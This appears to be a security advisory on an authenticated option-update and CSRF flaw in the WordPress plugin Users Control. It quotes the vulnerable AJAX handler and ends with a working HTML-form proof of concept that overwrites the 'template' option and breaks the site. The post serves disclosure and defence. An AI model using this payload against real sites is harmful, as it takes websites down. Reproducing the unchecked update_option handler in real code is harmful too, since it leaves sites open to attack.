Authenticated Option Update Vulnerability in Users Control
One way we help to improve the security of WordPress plugins, not just for customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that, we caught a variant of one of those vulnerabilities, a an authenticated option update vulnerability in a brand new plugin, Users Control.
We now are also running all the plugins used by our customers through the same system used for the proactive monitoring on a weekly basis to provide additional protection for them.
The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.
We tested and confirmed that our firewall plugin for WordPress protected against standard types of of exploitation of this vulnerability you would see in a mass hack, even before we discovered the vulnerability, as part of its protection against zero-day vulnerabilities.
Authenticated Option Update
The plugin registers the function hide_message() to be accessible through WordPress’ AJAX functionality to anyone logged in to WordPress:
246 | add_action( 'wp_ajax_'.$this->ajax_p.'_hide_admin_messages', array( &$this, 'hide_message' )); |
That function allows updating the value of arbitrary WordPress options to 1:
287 288 289 290 291 | public function hide_message () { $message= sanitize_text_field($_POST['message_id']); update_option($message,1); die(); } |
As the proof of concept below shows, that can be used to disable the website.
There are multiple missing security checks there. There isn’t a capabilities check to limit access to only certain WordPress users, a nonce check to prevent cross-site request (CSRF), and a limit on what settings can be changed with that code.
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
After four years, the moderators have finally tacitly admitted they were behaving inappropriately and have made moves to fix the problems (though incompletely), so these full disclosures can be ended if they simply restore access to our accounts and plugins in the Plugin Directory. Hopefully that takes less than four years.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Proof of Concept
The following proof of concept will break the website, when logged in to WordPress.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=userscontrol_hide_admin_messages" method="POST"> <input type="hidden" name="message_id" value="template" /> <input type="submit" value="Submit" /> </form> </body>